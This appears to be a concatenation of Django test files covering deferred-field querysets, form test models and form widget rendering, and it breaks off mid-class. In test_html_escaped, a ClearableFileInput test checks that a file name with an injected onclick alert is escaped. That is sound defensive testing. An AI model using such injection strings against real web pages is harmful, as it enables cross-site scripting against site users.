    def test_ticket_16409(self):
        # Regression for #16409 - make sure defer() and only() work with annotate()
        self.assertIsInstance(
            list(SimpleItem.objects.annotate(Count('feature')).defer('name')),
            list)
        self.assertIsInstance(
            list(SimpleItem.objects.annotate(Count('feature')).only('name')),
            list)

    def test_ticket_23270(self):
        Derived.objects.create(text="foo", other_text="bar")
        with self.assertNumQueries(1):
            obj = Base.objects.select_related("derived").defer("text")[0]
            self.assertIsInstance(obj.derived, Derived)
            self.assertEqual("bar", obj.derived.other_text)
            self.assertNotIn("text", obj.__dict__)
            self.assertEqual(1, obj.derived.base_ptr_id)

    def test_only_and_defer_usage_on_proxy_models(self):
        # Regression for #15790 - only() broken for proxy models
        proxy = Proxy.objects.create(name="proxy", value=42)

        msg = 'QuerySet.only() return bogus results with proxy models'
        dp = Proxy.objects.only('other_value').get(pk=proxy.pk)
        self.assertEqual(dp.name, proxy.name, msg=msg)
        self.assertEqual(dp.value, proxy.value, msg=msg)

        # also test things with .defer()
        msg = 'QuerySet.defer() return bogus results with proxy models'
        dp = Proxy.objects.defer('name', 'text', 'value').get(pk=proxy.pk)
        self.assertEqual(dp.name, proxy.name, msg=msg)
        self.assertEqual(dp.value, proxy.value, msg=msg)

    def test_resolve_columns(self):
        ResolveThis.objects.create(num=5.0, name='Foobar')
        qs = ResolveThis.objects.defer('num')
        self.assertEqual(1, qs.count())
        self.assertEqual('Foobar', qs[0].name)

    def test_reverse_one_to_one_relations(self):
        # Refs #14694. Test reverse relations which are known unique (reverse
        # side has o2ofield or unique FK) - the o2o case
        item = Item.objects.create(name="first", value=42)
        o2o = OneToOneItem.objects.create(item=item, name="second")
        self.assertEqual(len(Item.objects.defer('one_to_one_item__name')), 1)
        self.assertEqual(len(Item.objects.select_related('one_to_one_item')), 1)
        self.assertEqual(len(Item.objects.select_related(
            'one_to_one_item').defer('one_to_one_item__name')), 1)
        self.assertEqual(len(Item.objects.select_related('one_to_one_item').defer('value')), 1)
        # Make sure that `only()` doesn't break when we pass in a unique relation,
        # rather than a field on the relation.
        self.assertEqual(len(Item.objects.only('one_to_one_item')), 1)
        with self.assertNumQueries(1):
            i = Item.objects.select_related('one_to_one_item')[0]
            self.assertEqual(i.one_to_one_item.pk, o2o.pk)
            self.assertEqual(i.one_to_one_item.name, "second")
        with self.assertNumQueries(1):
            i = Item.objects.select_related('one_to_one_item').defer(
                'value', 'one_to_one_item__name')[0]
            self.assertEqual(i.one_to_one_item.pk, o2o.pk)
            self.assertEqual(i.name, "first")
        with self.assertNumQueries(1):
            self.assertEqual(i.one_to_one_item.name, "second")
        with self.assertNumQueries(1):
            self.assertEqual(i.value, 42)

    def test_defer_with_select_related(self):
        item1 = Item.objects.create(name="first", value=47)
        item2 = Item.objects.create(name="second", value=42)
        simple = SimpleItem.objects.create(name="simple", value="23")
        ItemAndSimpleItem.objects.create(item=item1, simple=simple)

        obj = ItemAndSimpleItem.objects.defer('item').select_related('simple').get()
        self.assertEqual(obj.item, item1)
        self.assertEqual(obj.item_id, item1.id)

        obj.item = item2
        obj.save()

        obj = ItemAndSimpleItem.objects.defer('item').select_related('simple').get()
        self.assertEqual(obj.item, item2)
        self.assertEqual(obj.item_id, item2.id)

    def test_proxy_model_defer_with_select_related(self):
        # Regression for #22050
        item = Item.objects.create(name="first", value=47)
        RelatedItem.objects.create(item=item)
        # Defer fields with only()
        obj = ProxyRelated.objects.all().select_related().only('item__name')[0]
        with self.assertNumQueries(0):
            self.assertEqual(obj.item.name, "first")
        with self.assertNumQueries(1):
            self.assertEqual(obj.item.value, 47)

    def test_only_with_select_related(self):
        # Test for #17485.
        item = SimpleItem.objects.create(name='first', value=47)
        feature = Feature.objects.create(item=item)
        SpecialFeature.objects.create(feature=feature)

        qs = Feature.objects.only('item__name').select_related('item')
        self.assertEqual(len(qs), 1)

        qs = SpecialFeature.objects.only('feature__item__name').select_related('feature__item')
        self.assertEqual(len(qs), 1)


class DeferAnnotateSelectRelatedTest(TestCase):
    def test_defer_annotate_select_related(self):
        location = Location.objects.create()
        Request.objects.create(location=location)
        self.assertIsInstance(
            list(Request.objects.annotate(Count('items')).select_related('profile', 'location')
                 .only('profile', 'location')),
            list
        )
        self.assertIsInstance(
            list(Request.objects.annotate(Count('items')).select_related('profile', 'location')
                 .only('profile__profile1', 'location__location1')),
            list
        )
        self.assertIsInstance(
            list(Request.objects.annotate(Count('items')).select_related('profile', 'location')
                 .defer('request1', 'request2', 'request3', 'request4')),
            list
        )


class DeferDeletionSignalsTests(TestCase):
    senders = [Item, Proxy]

    @classmethod
    def setUpTestData(cls):
        cls.item_pk = Item.objects.create(value=1).pk

    def setUp(self):
        self.pre_delete_senders = []
        self.post_delete_senders = []
        for sender in self.senders:
            models.signals.pre_delete.connect(self.pre_delete_receiver, sender)
            models.signals.post_delete.connect(self.post_delete_receiver, sender)

    def tearDown(self):
        for sender in self.senders:
            models.signals.pre_delete.disconnect(self.pre_delete_receiver, sender)
            models.signals.post_delete.disconnect(self.post_delete_receiver, sender)

    def pre_delete_receiver(self, sender, **kwargs):
        self.pre_delete_senders.append(sender)

    def post_delete_receiver(self, sender, **kwargs):
        self.post_delete_senders.append(sender)

    def test_delete_defered_model(self):
        Item.objects.only('value').get(pk=self.item_pk).delete()
        self.assertEqual(self.pre_delete_senders, [Item])
        self.assertEqual(self.post_delete_senders, [Item])

    def test_delete_defered_proxy_model(self):
        Proxy.objects.only('value').get(pk=self.item_pk).delete()
        self.assertEqual(self.pre_delete_senders, [Proxy])
        self.assertEqual(self.post_delete_senders, [Proxy])






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import datetime
import itertools
import tempfile

from django.core.files.storage import FileSystemStorage
from django.db import models
from django.utils.encoding import python_2_unicode_compatible

callable_default_counter = itertools.count()


def callable_default():
    return next(callable_default_counter)


temp_storage = FileSystemStorage(location=tempfile.mkdtemp())


class BoundaryModel(models.Model):
    positive_integer = models.PositiveIntegerField(null=True, blank=True)


class Defaults(models.Model):
    name = models.CharField(max_length=255, default='class default value')
    def_date = models.DateField(default=datetime.date(1980, 1, 1))
    value = models.IntegerField(default=42)
    callable_default = models.IntegerField(default=callable_default)


class ChoiceModel(models.Model):
    """For ModelChoiceField and ModelMultipleChoiceField tests."""
    CHOICES = [
        ('', 'No Preference'),
        ('f', 'Foo'),
        ('b', 'Bar'),
    ]

    INTEGER_CHOICES = [
        (None, 'No Preference'),
        (1, 'Foo'),
        (2, 'Bar'),
    ]

    STRING_CHOICES_WITH_NONE = [
        (None, 'No Preference'),
        ('f', 'Foo'),
        ('b', 'Bar'),
    ]

    name = models.CharField(max_length=10)
    choice = models.CharField(max_length=2, blank=True, choices=CHOICES)
    choice_string_w_none = models.CharField(
        max_length=2, blank=True, null=True, choices=STRING_CHOICES_WITH_NONE)
    choice_integer = models.IntegerField(choices=INTEGER_CHOICES, blank=True,
                                         null=True)


@python_2_unicode_compatible
class ChoiceOptionModel(models.Model):
    """Destination for ChoiceFieldModel's ForeignKey.
    Can't reuse ChoiceModel because error_message tests require that it have no instances."""
    name = models.CharField(max_length=10)

    class Meta:
        ordering = ('name',)

    def __str__(self):
        return 'ChoiceOption %d' % self.pk


def choice_default():
    return ChoiceOptionModel.objects.get_or_create(name='default')[0].pk


def choice_default_list():
    return [choice_default()]


def int_default():
    return 1


def int_list_default():
    return [1]


class ChoiceFieldModel(models.Model):
    """Model with ForeignKey to another model, for testing ModelForm
    generation with ModelChoiceField."""
    choice = models.ForeignKey(
        ChoiceOptionModel,
        models.CASCADE,
        blank=False,
        default=choice_default,
    )
    choice_int = models.ForeignKey(
        ChoiceOptionModel,
        models.CASCADE,
        blank=False,
        related_name='choice_int',
        default=int_default,
    )
    multi_choice = models.ManyToManyField(
        ChoiceOptionModel,
        blank=False,
        related_name='multi_choice',
        default=choice_default_list,
    )
    multi_choice_int = models.ManyToManyField(
        ChoiceOptionModel,
        blank=False,
        related_name='multi_choice_int',
        default=int_list_default,
    )


class OptionalMultiChoiceModel(models.Model):
    multi_choice = models.ManyToManyField(
        ChoiceOptionModel,
        blank=False,
        related_name='not_relevant',
        default=choice_default,
    )
    multi_choice_optional = models.ManyToManyField(
        ChoiceOptionModel,
        blank=True,
        related_name='not_relevant2',
    )


class FileModel(models.Model):
    file = models.FileField(storage=temp_storage, upload_to='tests')


@python_2_unicode_compatible
class Group(models.Model):
    name = models.CharField(max_length=10)

    def __str__(self):
        return '%s' % self.name


class Cheese(models.Model):
    name = models.CharField(max_length=100)


class Article(models.Model):
    content = models.TextField()






from django import forms
from django.views.generic.edit import UpdateView

from .models import Article


class ArticleForm(forms.ModelForm):
    content = forms.CharField(strip=False, widget=forms.Textarea)

    class Meta:
        model = Article
        fields = '__all__'


class ArticleFormView(UpdateView):
    model = Article
    success_url = '/'
    form_class = ArticleForm






from django.conf.urls import url

from .views import ArticleFormView

urlpatterns = [
    url(r'^model_form/(?P<pk>[0-9]+)/$', ArticleFormView.as_view(), name="article_form"),
]












from django.forms import CheckboxSelectMultiple

from .base import WidgetTest


class CheckboxSelectMultipleTest(WidgetTest):
    widget = CheckboxSelectMultiple

    def test_render_value(self):
        self.check_html(self.widget(choices=self.beatles), 'beatles', ['J'], html=(
            """<ul>
            <li><label><input checked type="checkbox" name="beatles" value="J" /> John</label></li>
            <li><label><input type="checkbox" name="beatles" value="P" /> Paul</label></li>
            <li><label><input type="checkbox" name="beatles" value="G" /> George</label></li>
            <li><label><input type="checkbox" name="beatles" value="R" /> Ringo</label></li>
            </ul>"""
        ))

    def test_render_value_multiple(self):
        self.check_html(self.widget(choices=self.beatles), 'beatles', ['J', 'P'], html=(
            """<ul>
            <li><label><input checked type="checkbox" name="beatles" value="J" /> John</label></li>
            <li><label><input checked type="checkbox" name="beatles" value="P" /> Paul</label></li>
            <li><label><input type="checkbox" name="beatles" value="G" /> George</label></li>
            <li><label><input type="checkbox" name="beatles" value="R" /> Ringo</label></li>
            </ul>"""
        ))

    def test_render_none(self):
        """
        If the value is None, none of the options are selected.
        """
        self.check_html(self.widget(choices=self.beatles), 'beatles', None, html=(
            """<ul>
            <li><label><input type="checkbox" name="beatles" value="J" /> John</label></li>
            <li><label><input type="checkbox" name="beatles" value="P" /> Paul</label></li>
            <li><label><input type="checkbox" name="beatles" value="G" /> George</label></li>
            <li><label><input type="checkbox" name="beatles" value="R" /> Ringo</label></li>
            </ul>"""
        ))

    def test_nested_choices(self):
        nested_choices = (
            ('unknown', 'Unknown'),
            ('Audio', (('vinyl', 'Vinyl'), ('cd', 'CD'))),
            ('Video', (('vhs', 'VHS'), ('dvd', 'DVD'))),
        )
        html = """
        <ul id="media">
        <li>
        <label for="media_0"><input id="media_0" name="nestchoice" type="checkbox" value="unknown" /> Unknown</label>
        </li>
        <li>Audio<ul id="media_1">
        <li>
        <label for="media_1_0">
        <input checked id="media_1_0" name="nestchoice" type="checkbox" value="vinyl" /> Vinyl
        </label>
        </li>
        <li>
        <label for="media_1_1"><input id="media_1_1" name="nestchoice" type="checkbox" value="cd" /> CD</label>
        </li>
        </ul></li>
        <li>Video<ul id="media_2">
        <li>
        <label for="media_2_0"><input id="media_2_0" name="nestchoice" type="checkbox" value="vhs" /> VHS</label>
        </li>
        <li>
        <label for="media_2_1">
        <input checked id="media_2_1" name="nestchoice" type="checkbox" value="dvd" /> DVD
        </label>
        </li>
        </ul></li>
        </ul>
        """
        self.check_html(
            self.widget(choices=nested_choices), 'nestchoice', ('vinyl', 'dvd'),
            attrs={'id': 'media'}, html=html,
        )

    def test_separate_ids(self):
        """
        Each input gets a separate ID.
        """
        choices = [('a', 'A'), ('b', 'B'), ('c', 'C')]
        html = """
        <ul id="abc">
        <li>
        <label for="abc_0"><input checked type="checkbox" name="letters" value="a" id="abc_0" /> A</label>
        </li>
        <li><label for="abc_1"><input type="checkbox" name="letters" value="b" id="abc_1" /> B</label></li>
        <li>
        <label for="abc_2"><input checked type="checkbox" name="letters" value="c" id="abc_2" /> C</label>
        </li>
        </ul>
        """
        self.check_html(self.widget(choices=choices), 'letters', ['a', 'c'], attrs={'id': 'abc'}, html=html)

    def test_separate_ids_constructor(self):
        """
        Each input gets a separate ID when the ID is passed to the constructor.
        """
        widget = CheckboxSelectMultiple(attrs={'id': 'abc'}, choices=[('a', 'A'), ('b', 'B'), ('c', 'C')])
        html = """
        <ul id="abc">
        <li>
        <label for="abc_0"><input checked type="checkbox" name="letters" value="a" id="abc_0" /> A</label>
        </li>
        <li><label for="abc_1"><input type="checkbox" name="letters" value="b" id="abc_1" /> B</label></li>
        <li>
        <label for="abc_2"><input checked type="checkbox" name="letters" value="c" id="abc_2" /> C</label>
        </li>
        </ul>
        """
        self.check_html(widget, 'letters', ['a', 'c'], html=html)

    def test_use_required_attribute(self):
        widget = self.widget(choices=self.beatles)
        # Always False because browser validation would require all checkboxes
        # to be checked instead of at least one.
        self.assertIs(widget.use_required_attribute(None), False)
        self.assertIs(widget.use_required_attribute([]), False)
        self.assertIs(widget.use_required_attribute(['J', 'P']), False)






from datetime import datetime

from django.forms import DateTimeInput
from django.test import override_settings
from django.utils import translation

from .base import WidgetTest


class DateTimeInputTest(WidgetTest):
    widget = DateTimeInput()

    def test_render_none(self):
        self.check_html(self.widget, 'date', None, '<input type="text" name="date" />')

    def test_render_value(self):
        """
        The microseconds are trimmed on display, by default.
        """
        d = datetime(2007, 9, 17, 12, 51, 34, 482548)
        self.assertEqual(str(d), '2007-09-17 12:51:34.482548')
        self.check_html(self.widget, 'date', d, html=(
            '<input type="text" name="date" value="2007-09-17 12:51:34" />'
        ))
        self.check_html(self.widget, 'date', datetime(2007, 9, 17, 12, 51, 34), html=(
            '<input type="text" name="date" value="2007-09-17 12:51:34" />'
        ))
        self.check_html(self.widget, 'date', datetime(2007, 9, 17, 12, 51), html=(
            '<input type="text" name="date" value="2007-09-17 12:51:00" />'
        ))

    def test_render_formatted(self):
        """
        Use 'format' to change the way a value is displayed.
        """
        widget = DateTimeInput(
            format='%d/%m/%Y %H:%M', attrs={'type': 'datetime'},
        )
        d = datetime(2007, 9, 17, 12, 51, 34, 482548)
        self.check_html(widget, 'date', d, html='<input type="datetime" name="date" value="17/09/2007 12:51" />')

    @override_settings(USE_L10N=True)
    @translation.override('de-at')
    def test_l10n(self):
        d = datetime(2007, 9, 17, 12, 51, 34, 482548)
        self.check_html(self.widget, 'date', d, html=(
            '<input type="text" name="date" value="17.09.2007 12:51:34" />'
        ))

    @override_settings(USE_L10N=True)
    @translation.override('de-at')
    def test_locale_aware(self):
        d = datetime(2007, 9, 17, 12, 51, 34, 482548)
        with self.settings(USE_L10N=False):
            self.check_html(
                self.widget, 'date', d,
                html='<input type="text" name="date" value="2007-09-17 12:51:34" />',
            )
        with translation.override('es'):
            self.check_html(
                self.widget, 'date', d,
                html='<input type="text" name="date" value="17/09/2007 12:51:34" />',
            )






from django.forms import PasswordInput

from .base import WidgetTest


class PasswordInputTest(WidgetTest):
    widget = PasswordInput()

    def test_render(self):
        self.check_html(self.widget, 'password', '', html='<input type="password" name="password" />')

    def test_render_ignore_value(self):
        self.check_html(self.widget, 'password', 'secret', html='<input type="password" name="password" />')

    def test_render_value_true(self):
        """
        The render_value argument lets you specify whether the widget should
        render its value. For security reasons, this is off by default.
        """
        widget = PasswordInput(render_value=True)
        self.check_html(widget, 'password', '', html='<input type="password" name="password" />')
        self.check_html(widget, 'password', None, html='<input type="password" name="password" />')
        self.check_html(
            widget, 'password', 'test@example.com',
            html='<input type="password" name="password" value="test@example.com" />',
        )






from django.forms import CheckboxInput

from .base import WidgetTest


class CheckboxInputTest(WidgetTest):
    widget = CheckboxInput()

    def test_render_empty(self):
        self.check_html(self.widget, 'is_cool', '', html='<input type="checkbox" name="is_cool" />')

    def test_render_none(self):
        self.check_html(self.widget, 'is_cool', None, html='<input type="checkbox" name="is_cool" />')

    def test_render_false(self):
        self.check_html(self.widget, 'is_cool', False, html='<input type="checkbox" name="is_cool" />')

    def test_render_true(self):
        self.check_html(
            self.widget, 'is_cool', True,
            html='<input checked type="checkbox" name="is_cool" />'
        )

    def test_render_value(self):
        """
        Using any value that's not in ('', None, False, True) will check the
        checkbox and set the 'value' attribute.
        """
        self.check_html(
            self.widget, 'is_cool', 'foo',
            html='<input checked type="checkbox" name="is_cool" value="foo" />',
        )

    def test_render_int(self):
        """
        Integers are handled by value, not as booleans (#17114).
        """
        self.check_html(
            self.widget, 'is_cool', 0,
            html='<input checked type="checkbox" name="is_cool" value="0" />',
        )
        self.check_html(
            self.widget, 'is_cool', 1,
            html='<input checked type="checkbox" name="is_cool" value="1" />',
        )

    def test_render_check_test(self):
        """
        You can pass 'check_test' to the constructor. This is a callable that
        takes the value and returns True if the box should be checked.
        """
        widget = CheckboxInput(check_test=lambda value: value.startswith('hello'))
        self.check_html(widget, 'greeting', '', html=(
            '<input type="checkbox" name="greeting" />'
        ))
        self.check_html(widget, 'greeting', 'hello', html=(
            '<input checked type="checkbox" name="greeting" value="hello" />'
        ))
        self.check_html(widget, 'greeting', 'hello there', html=(
            '<input checked type="checkbox" name="greeting" value="hello there" />'
        ))
        self.check_html(widget, 'greeting', 'hello & goodbye', html=(
            '<input checked type="checkbox" name="greeting" value="hello &amp; goodbye" />'
        ))

    def test_render_check_exception(self):
        """
        Calling check_test() shouldn't swallow exceptions (#17888).
        """
        widget = CheckboxInput(
            check_test=lambda value: value.startswith('hello'),
        )

        with self.assertRaises(AttributeError):
            widget.render('greeting', True)

    def test_value_from_datadict(self):
        """
        The CheckboxInput widget will return False if the key is not found in
        the data dictionary (because HTML form submission doesn't send any
        result for unchecked checkboxes).
        """
        self.assertFalse(self.widget.value_from_datadict({}, {}, 'testing'))

    def test_value_from_datadict_string_int(self):
        value = self.widget.value_from_datadict({'testing': '0'}, {}, 'testing')
        self.assertIs(value, True)






from django.forms import MultipleHiddenInput

from .base import WidgetTest


class MultipleHiddenInputTest(WidgetTest):
    widget = MultipleHiddenInput()

    def test_render_single(self):
        self.check_html(
            self.widget, 'email', ['test@example.com'],
            html='<input type="hidden" name="email" value="test@example.com" />',
        )

    def test_render_multiple(self):
        self.check_html(
            self.widget, 'email', ['test@example.com', 'foo@example.com'],
            html=(
                '<input type="hidden" name="email" value="test@example.com" />\n'
                '<input type="hidden" name="email" value="foo@example.com" />'
            ),
        )

    def test_render_attrs(self):
        self.check_html(
            self.widget, 'email', ['test@example.com'], attrs={'class': 'fun'},
            html='<input type="hidden" name="email" value="test@example.com" class="fun" />',
        )

    def test_render_attrs_multiple(self):
        self.check_html(
            self.widget, 'email', ['test@example.com', 'foo@example.com'], attrs={'class': 'fun'},
            html=(
                '<input type="hidden" name="email" value="test@example.com" class="fun" />\n'
                '<input type="hidden" name="email" value="foo@example.com" class="fun" />'
            ),
        )

    def test_render_attrs_constructor(self):
        widget = MultipleHiddenInput(attrs={'class': 'fun'})
        self.check_html(widget, 'email', [], '')
        self.check_html(
            widget, 'email', ['foo@example.com'],
            html='<input type="hidden" class="fun" value="foo@example.com" name="email" />',
        )
        self.check_html(
            widget, 'email', ['foo@example.com', 'test@example.com'],
            html=(
                '<input type="hidden" class="fun" value="foo@example.com" name="email" />\n'
                '<input type="hidden" class="fun" value="test@example.com" name="email" />'
            ),
        )
        self.check_html(
            widget, 'email', ['foo@example.com'], attrs={'class': 'special'},
            html='<input type="hidden" class="special" value="foo@example.com" name="email" />',
        )

    def test_render_empty(self):
        self.check_html(self.widget, 'email', [], '')

    def test_render_none(self):
        self.check_html(self.widget, 'email', None, '')

    def test_render_increment_id(self):
        """
        Each input should get a separate ID.
        """
        self.check_html(
            self.widget, 'letters', ['a', 'b', 'c'], attrs={'id': 'hideme'},
            html=(
                '<input type="hidden" name="letters" value="a" id="hideme_0" />\n'
                '<input type="hidden" name="letters" value="b" id="hideme_1" />\n'
                '<input type="hidden" name="letters" value="c" id="hideme_2" />'
            ),
        )






from datetime import date, datetime, time

from django.forms import SplitDateTimeWidget

from .base import WidgetTest


class SplitDateTimeWidgetTest(WidgetTest):
    widget = SplitDateTimeWidget()

    def test_render_empty(self):
        self.check_html(self.widget, 'date', '', html=(
            '<input type="text" name="date_0" /><input type="text" name="date_1" />'
        ))

    def test_render_none(self):
        self.check_html(self.widget, 'date', None, html=(
            '<input type="text" name="date_0" /><input type="text" name="date_1" />'
        ))

    def test_render_datetime(self):
        self.check_html(self.widget, 'date', datetime(2006, 1, 10, 7, 30), html=(
            '<input type="text" name="date_0" value="2006-01-10" />'
            '<input type="text" name="date_1" value="07:30:00" />'
        ))

    def test_render_date_and_time(self):
        self.check_html(self.widget, 'date', [date(2006, 1, 10), time(7, 30)], html=(
            '<input type="text" name="date_0" value="2006-01-10" />'
            '<input type="text" name="date_1" value="07:30:00" />'
        ))

    def test_constructor_attrs(self):
        widget = SplitDateTimeWidget(attrs={'class': 'pretty'})
        self.check_html(widget, 'date', datetime(2006, 1, 10, 7, 30), html=(
            '<input type="text" class="pretty" value="2006-01-10" name="date_0" />'
            '<input type="text" class="pretty" value="07:30:00" name="date_1" />'
        ))

    def test_formatting(self):
        """
        Use 'date_format' and 'time_format' to change the way a value is
        displayed.
        """
        widget = SplitDateTimeWidget(
            date_format='%d/%m/%Y', time_format='%H:%M',
        )
        self.check_html(widget, 'date', datetime(2006, 1, 10, 7, 30), html=(
            '<input type="text" name="date_0" value="10/01/2006" />'
            '<input type="text" name="date_1" value="07:30" />'
        ))






from django.forms import Textarea
from django.utils.safestring import mark_safe

from .base import WidgetTest


class TextareaTest(WidgetTest):
    widget = Textarea()

    def test_render(self):
        self.check_html(self.widget, 'msg', 'value', html=(
            '<textarea rows="10" cols="40" name="msg">value</textarea>'
        ))

    def test_render_required(self):
        widget = Textarea()
        widget.is_required = True
        self.check_html(widget, 'msg', 'value', html='<textarea rows="10" cols="40" name="msg">value</textarea>')

    def test_render_empty(self):
        self.check_html(self.widget, 'msg', '', html='<textarea rows="10" cols="40" name="msg"></textarea>')

    def test_render_none(self):
        self.check_html(self.widget, 'msg', None, html='<textarea rows="10" cols="40" name="msg"></textarea>')

    def test_escaping(self):
        self.check_html(self.widget, 'msg', 'some "quoted" & ampersanded value', html=(
            '<textarea rows="10" cols="40" name="msg">some &quot;quoted&quot; &amp; ampersanded value</textarea>'
        ))

    def test_mark_safe(self):
        self.check_html(self.widget, 'msg', mark_safe('pre &quot;quoted&quot; value'), html=(
            '<textarea rows="10" cols="40" name="msg">pre &quot;quoted&quot; value</textarea>'
        ))






from django.test import SimpleTestCase


class WidgetTest(SimpleTestCase):
    beatles = (('J', 'John'), ('P', 'Paul'), ('G', 'George'), ('R', 'Ringo'))

    def check_html(self, widget, name, value, html='', attrs=None, **kwargs):
        output = widget.render(name, value, attrs=attrs, **kwargs)
        self.assertHTMLEqual(output, html)






from django.forms import NullBooleanSelect
from django.test import override_settings
from django.utils import translation

from .base import WidgetTest


class NullBooleanSelectTest(WidgetTest):
    widget = NullBooleanSelect()

    def test_render_true(self):
        self.check_html(self.widget, 'is_cool', True, html=(
            """<select name="is_cool">
            <option value="1">Unknown</option>
            <option value="2" selected="selected">Yes</option>
            <option value="3">No</option>
            </select>"""
        ))

    def test_render_false(self):
        self.check_html(self.widget, 'is_cool', False, html=(
            """<select name="is_cool">
            <option value="1">Unknown</option>
            <option value="2">Yes</option>
            <option value="3" selected="selected">No</option>
            </select>"""
        ))

    def test_render_none(self):
        self.check_html(self.widget, 'is_cool', None, html=(
            """<select name="is_cool">
            <option value="1" selected="selected">Unknown</option>
            <option value="2">Yes</option>
            <option value="3">No</option>
            </select>"""
        ))

    def test_render_value(self):
        self.check_html(self.widget, 'is_cool', '2', html=(
            """<select name="is_cool">
            <option value="1">Unknown</option>
            <option value="2" selected="selected">Yes</option>
            <option value="3">No</option>
            </select>"""
        ))

    @override_settings(USE_L10N=True)
    def test_l10n(self):
        """
        Ensure that the NullBooleanSelect widget's options are lazily
        localized (#17190).
        """
        widget = NullBooleanSelect()

        with translation.override('de-at'):
            self.check_html(widget, 'id_bool', True, html=(
                """
                <select name="id_bool">
                    <option value="1">Unbekannt</option>
                    <option value="2" selected="selected">Ja</option>
                    <option value="3">Nein</option>
                </select>
                """
            ))






from datetime import datetime

from django.forms import SplitHiddenDateTimeWidget
from django.test import override_settings
from django.utils import translation

from .base import WidgetTest


class SplitHiddenDateTimeWidgetTest(WidgetTest):
    widget = SplitHiddenDateTimeWidget()

    def test_render_empty(self):
        self.check_html(self.widget, 'date', '', html=(
            '<input type="hidden" name="date_0" /><input type="hidden" name="date_1" />'
        ))

    def test_render_value(self):
        d = datetime(2007, 9, 17, 12, 51, 34, 482548)
        self.check_html(self.widget, 'date', d, html=(
            '<input type="hidden" name="date_0" value="2007-09-17" />'
            '<input type="hidden" name="date_1" value="12:51:34" />'
        ))
        self.check_html(self.widget, 'date', datetime(2007, 9, 17, 12, 51, 34), html=(
            '<input type="hidden" name="date_0" value="2007-09-17" />'
            '<input type="hidden" name="date_1" value="12:51:34" />'
        ))
        self.check_html(self.widget, 'date', datetime(2007, 9, 17, 12, 51), html=(
            '<input type="hidden" name="date_0" value="2007-09-17" />'
            '<input type="hidden" name="date_1" value="12:51:00" />'
        ))

    @override_settings(USE_L10N=True)
    @translation.override('de-at')
    def test_l10n(self):
        d = datetime(2007, 9, 17, 12, 51)
        self.check_html(self.widget, 'date', d, html=(
            """
            <input type="hidden" name="date_0" value="17.09.2007" />
            <input type="hidden" name="date_1" value="12:51:00" />
            """
        ))






from django.core.files.uploadedfile import SimpleUploadedFile
from django.forms import ClearableFileInput
from django.utils.encoding import python_2_unicode_compatible

from .base import WidgetTest


@python_2_unicode_compatible
class FakeFieldFile(object):
    """
    Quacks like a FieldFile (has a .url and unicode representation), but
    doesn't require us to care about storages etc.
    """
    url = 'something'

    def __str__(self):
        return self.url


class ClearableFileInputTest(WidgetTest):
    widget = ClearableFileInput()

    def test_clear_input_renders(self):
        """
        A ClearableFileInput with is_required False and rendered with an
        initial value that is a file renders a clear checkbox.
        """
        self.check_html(self.widget, 'myfile', FakeFieldFile(), html=(
            """
            Currently: <a href="something">something</a>
            <input type="checkbox" name="myfile-clear" id="myfile-clear_id" />
            <label for="myfile-clear_id">Clear</label><br />
            Change: <input type="file" name="myfile" />
            """
        ))

    def test_html_escaped(self):
        """
        A ClearableFileInput should escape name, filename, and URL
        when rendering HTML (#15182).
        """
        @python_2_unicode_compatible
        class StrangeFieldFile(object):
            url = "something?chapter=1&sect=2&copy=3&lang=en"

            def __str__(self):
                return '''something<div onclick="alert('oops')">.jpg'''

        self.check_html(ClearableFileInput(), 'my<div>file', StrangeFieldFile(), html=(
            """
            Currently: <a href="something?chapter=1&amp;sect=2&amp;copy=3&amp;lang=en">
            something&lt;div onclick=&quot;alert(&#39;oops&#39;)&quot;&gt;.jpg</a>
            <input type="checkbox" name="my&lt;div&gt;file-clear" id="my&lt;div&gt;file-clear_id" />
            <label for="my&lt;div&gt;file-clear_id">Clear</label><br />
            Change: <input type="file" name="my&lt;div&gt;file" />
            """
        ))

    def test_clear_input_renders_only_if_not_required(self):
        """
        A ClearableFileInput with is_required=False does not render a clear
        checkbox.
        """
        widget = ClearableFileInput()
        widget.is_required = True
        self.check_html(widget, 'myfile', FakeFieldFile(), html=(
            """
            Currently: <a href="something">something</a> <br />
            Change: <input type="file" name="myfile" />
            """
        ))

    def test_clear_input_renders_only_if_initial(self):
        """
        A ClearableFileInput instantiated with no initial value does not render
        a clear checkbox.
        """
        self.check_html(self.widget, 'myfile', None, html='<input type="file" name="myfile" />')

    def test_clear_input_checked_returns_false(self):
        """
        ClearableFileInput.value_from_datadict returns False if the clear
        checkbox is checked, if not required.
        """
        value = self.widget.value_from_datadict(
            data={'myfile-clear': True},
            files={},
            name='myfile',
        )
        self.assertIs(value, False)

    def test_clear_input_checked_returns_false_only_if_not_required(self):
        """
        ClearableFileInput.value_from_datadict never returns False if the field
        is required.
        """
        widget = ClearableFileInput()
        widget.is_required = True
        field = SimpleUploadedFile('something.txt', b'content')

        value = widget.value_from_datadict(
            data={'myfile-clear': True},
            files={'myfile': field},
            name='myfile',
        )
        self.assertEqual(value, field)

    def test_html_does_not_mask_exceptions(self):
        """
        A ClearableFileInput should not mask exceptions produced while
        checking that it has a value.
        """
        @python_2_unicode_compatible
        class FailingURLFieldFile(object):
            @property
            def url(self):
                raise ValueError('Canary')

            def __str__(self):
                return 'value'

        with self.assertRaisesMessage(ValueError, 'Canary'):
            self.widget.render('myfile', FailingURLFieldFile())

    def test_url_as_property(self):
        @python_2_unicode_compatible
        class URLFieldFile(object):
            @property
            def url(self):
                return 'https://www.python.org/'

            def __str__(self):
                return 'value'

        html = self.widget.render('myfile', URLFieldFile())
        self.assertInHTML('<a href="https://www.python.org/">value</a>', html)

    def test_return_false_if_url_does_not_exists(self):
        @python_2_unicode_compatible
        class NoURLFieldFile(object):
            def __str__(self):
                return 'value'

        html = self.widget.render('myfile', NoURLFieldFile())
        self.assertHTMLEqual(html, '<input name="myfile" type="file" />')

    def test_use_required_attribute(self):
        # False when initial data exists. The file input is left blank by the
        # user to keep the existing, initial value.
        self.assertIs(self.widget.use_required_attribute(None), True)
        self.assertIs(self.widget.use_required_attribute('resume.txt'), False)






import copy
from datetime import datetime

from django.forms import (
    CharField, FileInput, MultipleChoiceField, MultiValueField, MultiWidget,
    RadioSelect, SelectMultiple, SplitDateTimeField, SplitDateTimeWidget,
    TextInput,
)

from .base import WidgetTest


class MyMultiWidget(MultiWidget):
    def decompress(self, value):
        if value:
            return value.split('__')
        return ['', '']


class ComplexMultiWidget(MultiWidget):
    def __init__(self, attrs=None):
        widgets = (
            TextInput(),
            SelectMultiple(choices=WidgetTest.beatles),
            SplitDateTimeWidget(),
        )
